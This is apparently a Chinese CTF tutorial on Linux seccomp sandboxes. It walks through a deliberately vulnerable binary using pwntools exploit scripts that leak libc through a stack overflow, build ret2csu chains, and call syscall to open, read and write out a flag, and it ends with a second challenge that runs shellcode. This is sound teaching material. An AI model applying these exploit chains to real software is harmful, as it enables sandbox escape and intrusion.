Seccomp从0到1-安全客 - 安全资讯平台 (anquanke.com)
浅谈 ORW - 简书 (jianshu.com)
关于ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 open: int open (const char *pathname, int flags, mode_t mode) ;示例: int fd = open("example.txt" , O_RDWR | O_CREAT, 0644 );if (fd == -1 ) { } #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_APPEND 0x0008 #define O_NONBLOCK 0x0004 #define O_CREAT 0x0040 #define O_EXCL 0x0080 #define O_TRUNC 0x0200 #define O_DIRECTORY 0x1000 #define O_NOFOLLOW 0x2000 #define O_DSYNC 0x0100 #define O_RSYNC 0x0400 #define O_SYNC 0x0080 #define O_TTY_INIT 0x4000
1 2 3 4 5 6 7 8 ssize_t write (int fd, const void *buf, size_t count) ;示例: const char *data = "Hello, World!" ;ssize_t bytes_written = write(fd, data, strlen (data));if (bytes_written == -1 ) { }
1 2 3 4 5 6 7 8 9 10 11 12 read: ssize_t read (int fd, void *buf, size_t count) ;示例: char buffer[128 ];ssize_t bytes_read = read(fd, buffer, sizeof (buffer) - 1 );if (bytes_read == -1 ) { } else { buffer[bytes_read] = '\0' ; printf ("Read: %s\n" , buffer); }
前提准备
1 2 3 sudo apt install libseccomp-dev libseccomp2 seccomp 和 seccomp-tools
seccomp
1 sudo apt install libseccomp-dev libseccomp2 seccomp
1 sudo apt install gcc ruby-dev
然后再下载seccomp-tools
注意:安装过程可能会很慢,可能回车后也没反应,这个时候只能耐心等待了。
1 sudo gem install seccomp-tools
如果下载不下来,先看看默认配置有没问题,先ping一下该网站,如果出现该提示说明域名解析失败。
这时我们查看域名解析,发现在此之前我只有阿里云的域名解析,可能解析不到国外的域名,所以添加一个谷歌服务器的域名解析
1 2 nameserver 8.8.8.8 nameserver 8.8.4.4
然后再使用gem sources -l
查看一下gem
是用镜像源还是官网地址,发现我是用镜像源(之前换成镜像源了,但是还是下载不下来,这回)
这回我使用http
协议进行传输,不用https
协议进行传输,从官网下载,添加如下命令
1 2 gem sources --remove https://rubygems.org/ gem sources --add http://rubygems.org/
1 sudo gem install seccomp-tools
然后找一个沙箱的pwn题进行简单的使用,输入该指令,会出现下图所示
1 seccomp-tools dump ./level_1_orw
secocomp
seccomp
(Secure Computing Mode)是一种用于限制Linux系统中进程权限的安全机制。它通过为进程设置系统调用过滤器来减少可能的攻击面,防止恶意软件或攻击者利用系统调用进行恶意操作。通过启用seccomp,程序只能执行允许的系统调用,这样可以有效降低攻击风险,增强系统安全性。最早的Seccomp将系统可用的系统调用限制为四种:read、write、_exit、sigreturn
现在secocomp主要使用的是BPF(Berkeley Packet Filter)和EBPF
白名单与黑明单
白名单是一种允许策略,列出被认为安全且允许执行或访问的应用、文件、网址或行为。如果题目是白名单,相当于答案写在脸上
例如下图:这就是一个白名单策略,只允许orw
这三个系统调用,其他系统调用都不被允许
示例程序1
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <sys/prctl.h> #include <linux/seccomp.h> int main () { char *buf = "hello world!n" ; write(0 ,buf,0xc ); printf ("%s" ,buf); }
示例程序2
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <sys/prctl.h> #include <linux/seccomp.h> int main () { prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); char *buf = "hello world!" ; write(0 ,buf,0xc ); printf ("%s" ,buf); }
源码查看 filter.h
下面是本人ubuntu虚拟机下的filter.h
文件里面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 iyheart@iyheart-virtual-machine ~> cat /usr/include/linux/filter.h #ifndef __LINUX_FILTER_H__ #define __LINUX_FILTER_H__ #include <linux/types.h> #include <linux/bpf_common.h> #define BPF_MAJOR_VERSION 1 #define BPF_MINOR_VERSION 1 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }; struct sock_fprog { unsigned short len; struct sock_filter *filter ; }; #define BPF_RVAL(code) ((code) & 0x18) #define BPF_A 0x10 #define BPF_MISCOP(code) ((code) & 0xf8) #define BPF_TAX 0x00 #define BPF_TXA 0x80 #ifndef BPF_STMT #define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k } #endif #ifndef BPF_JUMP #define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k } #endif #define BPF_MEMWORDS 16 #define SKF_AD_OFF (-0x1000) #define SKF_AD_PROTOCOL 0 #define SKF_AD_PKTTYPE 4 #define SKF_AD_IFINDEX 8 #define SKF_AD_NLATTR 12 #define SKF_AD_NLATTR_NEST 16 #define SKF_AD_MARK 20 #define SKF_AD_QUEUE 24 #define SKF_AD_HATYPE 28 #define SKF_AD_RXHASH 32 #define SKF_AD_CPU 36 #define SKF_AD_ALU_XOR_X 40 #define SKF_AD_VLAN_TAG 44 #define SKF_AD_VLAN_TAG_PRESENT 48 #define SKF_AD_PAY_OFFSET 52 #define SKF_AD_RANDOM 56 #define SKF_AD_VLAN_TPID 60 #define SKF_AD_MAX 64 #define SKF_NET_OFF (-0x100000) #define SKF_LL_OFF (-0x200000) #define BPF_NET_OFF SKF_NET_OFF #define BPF_LL_OFF SKF_LL_OFF #endif
bpf_common.h
下面为本人ubuntu下的bpf_common.h
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #ifndef __LINUX_BPF_COMMON_H__ #define __LINUX_BPF_COMMON_H__ #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_MOD 0x90 #define BPF_XOR 0xa0 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08 #ifndef BPF_MAXINSNS #define BPF_MAXINSNS 4096 #endif #endif
沙箱绕过方法 在考察沙箱绕过方法时,并不会单单只是考ORW,往往还会考察其他知识点,所以沙箱这块可以出的比较杂
沙箱的题目也经常和shellcode联系在一起,这一般就需要手搓汇编了或者工具生成汇编了
方法1 :ORW 在CTF的时候,目的不是获得shell,而是得到flag。如果将系统调用号execve
、system
、systemcall
,这时就可以考虑使用open
、read
、write
将flag读取出来即可。
方法2 : 侧信道爆破 当没有办法进行ORW的时候,这时候就可以利用侧信道爆破将flag爆破出来。
方法3 :注入shellcode,shellcode的编写练习如下Weixin Official Accounts Platform (qq.com)
1 2 3 4 5 6 7 8 9 对于Linux32位 read 3 write 4 open 5 对于Linux64位 read 0 write 1 open 2
题目1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> int init_func () { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); return 0 ; } int init_seccomp () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0 ); seccomp_load(ctx); } int dofunc () { char buf[8 ] = {}; write(1 ,"input name:" ,0xb ); read(0 ,buf,0x200 ); printf ("hello %s\n" ,buf); return 0 ; } int main () { init_func(); init_seccomp(); dofunc(); return 0 ; }
分析1—ret2libc泄露地址
如果点进去查看沙箱功能,如果要硬看的话其实也能看得懂沙箱是开白名单还是黑名单,允许的系统调用,禁止的系统调用
为了方便查看,我们使用seccomp-tools
对沙箱进行查看,输入seccomp-tools dump ./level_1_orw
命令
从下图可以看到,该沙箱开启的是一个白名单,只允许orw
这三个系统调用
知道了沙箱的白名单后就进行下一步,查看反编译后的dofunc
函数内部执行流程,这个函数内部的执行流程如下:
先定义一个8字节的整型变量buf
该变量位于栈上
然后再使用write
打印出input name
,提示用户输入内容
使用read
函数将用户输入的内容写入buf里面去。但是由于read函数允许写入0x200
个字节,这就会导致栈溢出
使用printf
函数打印出之前输入的内容
最后return 0
结束该函数
由上述分析可知:
如果没有沙箱的话,此题就是一个简单的ret2libc
的题目
但是由于存在沙箱,这样此题就变成了ret2libc
+orw
的题目了
利用1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 payload1 = b'A' *0x10 +p64(ret) +p64(pop_rdi) + p64(read_got) +p64(printf_plt) p.sendline(payload1) p.recvuntil(b'\n' ) b = p.recv() b = int .from_bytes(b,byteorder='little' ) print ("printf_addr----->" ,hex (b))p.interactive()
先接收到printf函数的libc地址,然后再进行动态调试,将printf与libc的偏移地址算出来,使用动态调试可以将一些重要的函数地址算出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> p write - read $4 = 160pwndbg> p read - open $7 = 752pwndbg> p read - system $8 = 801376pwndbg> search '/bin/sh' Searching for value: '/bin/sh' libc.so.6 0x732a211d8678 0x68732f6e69622f /* '/bin/sh' */ pwndbg> p read $9 = {ssize_t (int, void *, size_t)} 0x732a211147d0 <__GI___libc_read>pwndbg> p 0x732a211d8678 - 0x732a211147d0 $10 = 802472pwndbg> p syscall - read $4 = 41120
这样就可以得到一些关键函数和字符串的地址,这时我们先尝试一下直接system('/bin/sh')
。看看在沙箱开启的状态下如何。
发现是打不通的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 dofunc = 0x4012E8 payload1 = b'A' *0x10 +p64(ret) +p64(pop_rdi) + p64(read_got) +p64(printf_plt) + p64(dofunc) p.sendline(payload1) p.recvuntil(b'\n' ) b = p.recv()[:6 ] read_addr = int .from_bytes(b,byteorder='little' ) print ("read_addr----->" ,hex (read_addr))sh_addr = read_addr + 802472 sys_addr = read_addr - 801376 write_addr = read_addr + 160 open_addr = read_addr - 752 payload2 = b'A' *0x10 +p64(pop_rdi) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
分析2—read写入文件路径
这时一般的ret2libc
打不进去,一般的思路就是进行orw
orw
的思路就是
泄露内存地址,得到open、read、write这个函数在libc中的地址
根据open的这个函数调用,将flag文件打开
我们需要再内存中寻找现有的flag
、./flag
、flag.txt
、./flag.txt
这些字串,以便我们打开flag文件
如果内存中没有这些字符串,那么我们就需要写入使用read
函数或者其他可对内存进行读写的函数将flag.txt
等字符串写入内存中。可能要用上ret2csu
写入字串
最后再利用ORW读出flag
先查看我们当前目录下的flag
文件的名称,发现名称为flag
,所以我们需要打开当前文件下的flag
文件(无任何后缀),这时我们就需要字符串./flag
先搜索内存中是否有出现./flag
这个字串,显然并没有出现./flag
这个字符串
既然没有,但是我们需要./flag
字符串,这时我们就应该将./flag
这个字符串写入到内存中。
接下来我们就利用read
函数使用ret2csu
将字符串写入内存中
利用csu
这个函数的one_gadget
为这些寄存器赋想要的值
1 .text:00000000004013C9 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E00h)[r15+rbx*8]
利用2
使用ret2csu
对进行写入./flag
字符串
同时注意栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 dofunc = 0x4012E8 pop_rbx_rbp_r12 = 0x4013DA bss_addr = 0x404068 mov_rdx = 0x4013C0 pop_rsi_r15 = 0x4013e1 payload1 = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt) payload1+= p64(ret)+p64(dofunc) p.sendline(payload1) p.recvuntil(b'\n' ) b = p.recv()[:6 ] read_addr = int .from_bytes(b,byteorder='little' ) print ("read_addr----->" ,hex (read_addr))sh_addr = read_addr + 802472 sys_addr = read_addr - 801376 write_addr = read_addr + 160 open_addr = read_addr - 752 rbx = 0 rbp = 1 r12 = 0 r13 = bss_addr r14 = 0x7 r15 = read_got payload2 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload2+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload2+= p64(0xdeadbeff )*7 +p64(dofunc) p.sendline(payload2) p.send(b'./flag\x00' ) p.interactive()
分析3—syscall函数调用
这时候就要使用open
函数将flag文件打开,我们只需要只读权限即可,同时还需要稍微考虑一下open
的第三个参数,第三个参数可能会影响文件的打开,在使用open函数的时候我就遇到了该问题
1 2 3 4 open("example.txt" ,O_RDWR) #define O_RDONLY 0x0000
这时我们需要使用pop_rdi
、pop_rsi_r15
这两个one_gadget
进行传参,将bss_addr = 0x404068
传给rdi
,然后将0x0
传给rsi
,传参完调用open函数这样flag文件就可以打开了
1 2 payload3 = b'A' *0x10 + p64(ret) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi_r15) payload3 += p64(0x0 ) + p64(0xdeadbeff ) + p64(open_addr)
但实际上这真正打的时候还是会被沙箱阻止,在动态调试的时候会出现如下状况
当进行SYS_openat
系统调用的时候会出现Bad system call
,这个情况其实就是被沙箱阻止了
原因是:从 Linux 内核版本 2.6.23开始,open
的系统调用其实不是利用open
系统调用了,而是用SYS_openat
系统调用
现在有两个方法可以进行绕过:一、直接在libc上找到使用open系统调用的函数即其地址(可能没有)。二、直接使用libc中的syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 rbx = 0 rbp = 1 r12 = 0 r13 = bss_addr r14 = 0x8 + 0x8 r15 = read_got pause() payload2 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload2+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload2+= p64(0xdeadbeff )*7 +p64(dofunc) p.sendline(payload2) p.sendline(b'./flag\x00\x00' +p64(syscall_addr))
之后继续布置栈帧,构造payload3,实现syscall
中open
的系统调用
这里我在open的时候出现了一个问题,导致打开文件失败。就是open
函数的第三个参数如果直接设置为 0x7
,可能无法按预期打开文件。这是因为 open
的第三个参数(mode
参数)在创建文件时指定文件权限,而不是表示所有用户类型(用户、组、其他)的组合权限。
所以应该注意一下open的第三个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 rbx = 0 rbp = 1 r12 = 0x2 r13 = bss_addr r14 = 0x6 r15 = bss_addr + 0x8 pause() payload3 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload3+= p64(0xdeadbeff )*7 + p64(dofunc) pause() p.sendlineafter(b'input name:' ,payload3)
利用3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 dofunc = 0x4012E8 pop_rbx_rbp_r12 = 0x4013DA bss_addr = 0x404089 mov_rdx = 0x4013C0 pop_rsi_r15 = 0x4013e1 gdb.attach(p) payload1 = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt) payload1+= p64(ret)+p64(dofunc) p.sendlineafter(b'input name:' ,payload1) p.recvuntil(b'\n' ) b = p.recv()[:6 ] read_addr = int .from_bytes(b,byteorder='little' ) print ("read_addr----->" ,hex (read_addr))sh_addr = read_addr + 802472 sys_addr = read_addr - 801376 write_addr = read_addr + 160 open_addr = read_addr - 752 syscall_addr = read_addr + 41120 rbx = 0 rbp = 1 r12 = 0 r13 = bss_addr r14 = 0x8 + 0x8 r15 = read_got pause() payload2 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx) payload2+= p64(0xdeadbeff )*7 +p64(dofunc) p.sendline(payload2) p.send(b'./flag\x00\x00' +p64(syscall_addr)) rbx = 0 rbp = 1 r12 = 0x2 r13 = bss_addr r14 = 0x6 r15 = bss_addr + 0x8 pause() payload3 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload3+= p64(0xdeadbeff )*7 + p64(dofunc) pause() p.sendlineafter(b'input name:' ,payload3)
分析4—read函数写入flag到内存
1 2 read: ssize_t read(int fd, void *buf, len);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rbx = 0 rbp = 1 r12 = 0x3 r13 = bss_addr + 0x107 r14 = 0x30 r15 = read_got pause() payload4 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx) payload4+= p64(0xdeadbeff )*7 + p64(ret) + p64(dofunc) pause() p.sendlineafter(b'input name:' ,payload4) pause()
利用4
将flag函数读入内存中,就可以进行最后一步利用,使用write函数将flag写出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 dofunc = 0x4012E8 pop_rbx_rbp_r12 = 0x4013DA bss_addr = 0x404089 mov_rdx = 0x4013C0 pop_rsi_r15 = 0x4013e1 gdb.attach(p) payload1 = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt) payload1+= p64(ret)+p64(dofunc) p.sendlineafter(b'input name:' ,payload1) p.recvuntil(b'\n' ) b = p.recv()[:6 ] read_addr = int .from_bytes(b,byteorder='little' ) print ("read_addr----->" ,hex (read_addr))sh_addr = read_addr + 802472 sys_addr = read_addr - 801376 write_addr = read_addr + 160 open_addr = read_addr - 752 syscall_addr = read_addr + 41120 rbx = 0 rbp = 1 r12 = 0 r13 = bss_addr r14 = 0x8 + 0x8 r15 = read_got pause() payload2 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx) payload2+= p64(0xdeadbeff )*7 +p64(dofunc) p.sendline(payload2) p.send(b'./flag\x00\x00' +p64(syscall_addr)) rbx = 0 rbp = 1 r12 = 0x2 r13 = bss_addr r14 = 0x6 r15 = bss_addr + 0x8 pause() payload3 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload3+= p64(0xdeadbeff )*7 + p64(dofunc) pause() p.sendlineafter(b'input name:' ,payload3) rbx = 0 rbp = 1 r12 = 0x3 r13 = bss_addr + 0x107 r14 = 0x30 r15 = read_got pause() payload4 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx) payload4+= p64(0xdeadbeff )*7 + p64(ret) + p64(dofunc) pause() p.sendlineafter(b'input name:' ,payload4) pause() p.interactive()
执行后进行动态调试,就可以看到flag已经被写入内存当中了
分析5 —writ函数读取flag
现在要使用write
函数对flag进行读操作
write
函数的参数也有三个
第一个参数为文件描述符:0
:标准输入、1
:标准输出(stdout
)、2
:标准错误(stderr
),使用write函数我们就需要传参数1
给rdi,
第二个参数为地址:表示要输出哪个内存地址的数据,需要将先前read写入的内存地址即bss_addr + 0x107
传给rsi
第三个是读入字节数量:这里也选择将0x30
传递给rdx
1 ssize_t write (int fd, const void *buf, size_t count) ;
仍然需要使用ret2csu
的onegadgat
进行参数的传递和函数的调用
栈帧布置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 rbx = 0 rbp = 1 r12 = 0x1 r13 = bss_addr + 0x107 r14 = 0x30 r15 = write_got payload5 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload5+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx) payload5+= p64(0xdeadbeff )*7 + p64(ret) + p64(dofunc) p.sendlineafter(b'input name:' ,payload5)
使用printf函数输出flag
这题除了可以使用write输出flag,还可以使用printf函数输出flag,但是要注意栈对齐,但是由于一般orw都是使用write。这里就对printf不做过多介绍
1 2 3 payload5 = b'A' *0x10 +p64(ret) + p64(pop_rdi) + p64(bss_addr + 0x107 ) + p64(printf_plt) p.sendlineafter(b'input name:' ,payload5)
利用5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *p = process('./level_1_orw' ) context(arch='amd64' ,os = 'Linux' ,endian='little' ,log_level='debug' ) pop_rdi = 0x4013e3 ret = 0x40101a read_got = 0x404040 printf_plt = 0x4010e4 dofunc = 0x4012E8 write_got = 0x404028 pop_rbx_rbp_r12 = 0x4013DA bss_addr = 0x404089 mov_rdx = 0x4013C0 pop_rsi_r15 = 0x4013e1 payload1 = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt) payload1+= p64(ret)+p64(dofunc) p.sendlineafter(b'input name:' ,payload1) p.recvuntil(b'\n' ) b = p.recv()[:6 ] read_addr = int .from_bytes(b,byteorder='little' ) print ("read_addr----->" ,hex (read_addr))sh_addr = read_addr + 802472 sys_addr = read_addr - 801376 write_addr = read_addr + 160 open_addr = read_addr - 752 syscall_addr = read_addr + 41120 rbx = 0 rbp = 1 r12 = 0 r13 = bss_addr r14 = 0x8 + 0x8 r15 = read_got pause() payload2 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx) payload2+= p64(0xdeadbeff )*7 +p64(dofunc) p.sendline(payload2) p.send(b'./flag\x00\x00' +p64(syscall_addr)) rbx = 0 rbp = 1 r12 = 0x2 r13 = bss_addr r14 = 0x6 r15 = bss_addr + 0x8 payload3 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx) payload3+= p64(0xdeadbeff )*7 + p64(dofunc) p.sendlineafter(b'input name:' ,payload3) rbx = 0 rbp = 1 r12 = 0x3 r13 = bss_addr + 0x107 r14 = 0x30 r15 = read_got payload4 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx) payload4+= p64(0xdeadbeff )*7 + p64(dofunc) p.sendlineafter(b'input name:' ,payload4) rbx = 0 rbp = 1 r12 = 0x1 r13 = bss_addr + 0x107 r14 = 0x30 r15 = write_got payload5 = b'A' *0x10 +p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp) payload5+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx) payload5+= p64(0xdeadbeff )*7 + p64(ret) + p64(dofunc) p.sendlineafter(b'input name:' ,payload5) """ # 使用printf函数输出flag payload5 = b'A'*0x10 +p64(ret) + p64(pop_rdi) + p64(bss_addr + 0x107) + p64(printf_plt) p.sendlineafter(b'input name:',payload5) """ p.interactive()
题目2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <string.h> char buf2[0x100 ];#include <seccomp.h> #include <linux/seccomp.h> int init_func () { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); return 0 ; } int init_seccomp () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0 ); seccomp_load(ctx); } int dofunc () { char buf[0x100 ]; int pagesize = getpagesize(); long long int addr = buf2; addr = (addr >>12 )<<12 ; mprotect(addr, pagesize, 7 ); puts ("input:" ); read(0 ,buf,0x200 ); strncpy (buf2, buf, 100 ); printf ("bye bye ~" ); return 0 ; } int main () { init_func(); init_seccomp(); dofunc(); ((void (*) (void )) buf2)(); return 0 ; }